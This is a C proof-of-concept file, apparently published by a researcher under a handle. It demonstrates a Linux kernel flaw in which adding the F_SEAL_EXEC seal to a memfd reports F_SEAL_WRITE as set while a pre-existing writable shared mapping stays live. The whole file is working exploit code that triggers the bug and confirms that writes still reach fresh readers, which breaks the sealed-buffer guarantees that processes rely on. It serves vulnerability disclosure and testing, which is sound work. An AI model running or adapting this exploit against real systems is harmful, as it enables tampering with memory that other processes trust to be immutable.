/*
 *      _._     _,-'""`-._
 *     (,-.`._,'(       |\`-/|       _SiCk
 *         `-.-' \ )-`( , o o)       2026 . 05 . 04
 *               `-    \`_`"'-
 *
 *   memfd F_SEAL_EXEC implicitly sets F_SEAL_WRITE without revoking
 *   pre-existing PROT_WRITE / MAP_SHARED mappings.
 *
 *   mm/memfd.c, in memfd_add_seals():
 *
 *       if ((seals & F_SEAL_WRITE) && !(*file_seals & F_SEAL_WRITE)) {
 *           error = mapping_deny_writable(file->f_mapping);     <-- gate
 *           ...
 *           error = memfd_wait_for_pins(file->f_mapping);       <-- gate
 *           ...
 *       }
 *
 *       if (seals & F_SEAL_EXEC && inode->i_mode & 0111)
 *           seals |= F_SEAL_SHRINK | F_SEAL_GROW |
 *                    F_SEAL_WRITE | F_SEAL_FUTURE_WRITE;        <-- after the gate
 *
 *       *file_seals |= seals;
 *
 *   The first if-test reads `seals & F_SEAL_WRITE` from the caller-supplied
 *   mask.  When the caller supplies only F_SEAL_EXEC, that test is false,
 *   the deny-writable / wait-for-pins gate is skipped, and then the second
 *   if-test OR-injects F_SEAL_WRITE into seals after the fact.  Pre-existing
 *   PROT_WRITE | MAP_SHARED mappings stay live.  F_GET_SEALS reports
 *   F_SEAL_WRITE set.  Writes through the original mmap still land in the
 *   page cache and are visible to fresh PROT_READ readers.
 *
 *   build:   cc -O2 -o memfd-seal-exec-poc memfd-seal-exec-poc.c
 *   target:  Linux 6.12.x, Ubuntu Resolute 26.04 LTS (7.0.0-15-generic)
 *
 *   no warranty.  no support.  no apologies.
 */
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/memfd.h>

#ifndef MFD_EXEC
#define MFD_EXEC 0x0010U
#endif
#ifndef MFD_NOEXEC_SEAL
#define MFD_NOEXEC_SEAL 0x0008U
#endif
#ifndef F_SEAL_FUTURE_WRITE
#define F_SEAL_FUTURE_WRITE 0x0010
#endif
#ifndef F_SEAL_EXEC
#define F_SEAL_EXEC 0x0020
#endif

#define PAGE_SZ 4096

static int memfd_create_(const char *name, unsigned int flags) {
	return syscall(SYS_memfd_create, name, flags);
}

static const char *seal_str(unsigned int s) {
	static char buf[256];
	buf[0] = 0;
	if (s & F_SEAL_SEAL)         strcat(buf, "SEAL ");
	if (s & F_SEAL_SHRINK)       strcat(buf, "SHRINK ");
	if (s & F_SEAL_GROW)         strcat(buf, "GROW ");
	if (s & F_SEAL_WRITE)        strcat(buf, "WRITE ");
	if (s & F_SEAL_FUTURE_WRITE) strcat(buf, "FUTURE_WRITE ");
	if (s & F_SEAL_EXEC)         strcat(buf, "EXEC ");
	if (!buf[0]) strcpy(buf, "(none)");
	return buf;
}

int main(void) {
	int fd, seals;
	void *map, *ro;

	/* MFD_EXEC sets i_mode 0777 which the buggy second if-test requires. */
	fd = memfd_create_("seal-exec-poc", MFD_ALLOW_SEALING | MFD_EXEC);
	if (fd < 0) { perror("memfd_create(MFD_ALLOW_SEALING|MFD_EXEC)"); return 1; }
	if (ftruncate(fd, PAGE_SZ) < 0) { perror("ftruncate"); return 1; }

	/* the mapping the bug fails to revoke */
	map = mmap(NULL, PAGE_SZ, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
	if (map == MAP_FAILED) { perror("mmap PROT_WRITE/MAP_SHARED"); return 1; }

	memcpy(map, "BEFORE-SEAL", 11);
	printf("[*] pre-seal contents:    \"%s\"\n", (char *)map);

	/* sanity: the honest F_SEAL_WRITE path must be blocked.  if it isn't,
	 * the kernel is even more broken than we think. */
	if (fcntl(fd, F_ADD_SEALS, F_SEAL_WRITE) == 0) {
		printf("[!] direct F_SEAL_WRITE accepted - wider bug than expected\n");
	} else {
		printf("[*] direct F_ADD_SEALS F_SEAL_WRITE blocked: %s (expected EBUSY)\n",
		       strerror(errno));
	}

	/* the bug. */
	if (fcntl(fd, F_ADD_SEALS, F_SEAL_EXEC) < 0) {
		perror("F_ADD_SEALS F_SEAL_EXEC");
		return 1;
	}

	seals = fcntl(fd, F_GET_SEALS);
	printf("[*] after F_ADD_SEALS EXEC: seals=0x%x [%s]\n", seals, seal_str(seals));
	if (!(seals & F_SEAL_WRITE)) {
		printf("[-] F_SEAL_WRITE not implicitly set - kernel does not exhibit the bug\n");
		return 2;
	}

	/* the win.  F_GET_SEALS reports F_SEAL_WRITE.  the original mmap doesn't care. */
	memcpy(map, "AFTER-SEAL!", 11);
	msync(map, PAGE_SZ, MS_SYNC);

	/* fresh PROT_READ mapping confirms the write is in the page cache,
	 * not just our process's private view. */
	ro = mmap(NULL, PAGE_SZ, PROT_READ, MAP_SHARED, fd, 0);
	if (ro == MAP_FAILED) { perror("mmap PROT_READ"); return 1; }
	printf("[*] post-seal via fresh RO map: \"%s\"\n", (char *)ro);

	/* a NEW writable mmap is correctly blocked, proving F_SEAL_FUTURE_WRITE
	 * is in fact in effect.  the failure is specifically that the seal
	 * didn't revoke the pre-existing one. */
	void *nw = mmap(NULL, PAGE_SZ, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
	if (nw == MAP_FAILED) {
		printf("[*] new PROT_WRITE mmap correctly blocked: %s\n", strerror(errno));
	} else {
		printf("[!] new PROT_WRITE mmap unexpectedly allowed\n");
		munmap(nw, PAGE_SZ);
	}

	if (memcmp(map, "AFTER-SEAL!", 11) == 0 &&
	    memcmp(ro,  "AFTER-SEAL!", 11) == 0) {
		printf("\n[+] CONFIRMED.  F_SEAL_WRITE is reported set, the pre-existing\n");
		printf("    PROT_WRITE | MAP_SHARED mapping is still live, writes are\n");
		printf("    visible to fresh readers via the page cache, and any consumer\n");
		printf("    that handshakes on F_GET_SEALS sees a mutable buffer.\n");
		return 0;
	}

	printf("\n[-] not confirmed - content mismatch\n");
	return 3;
}
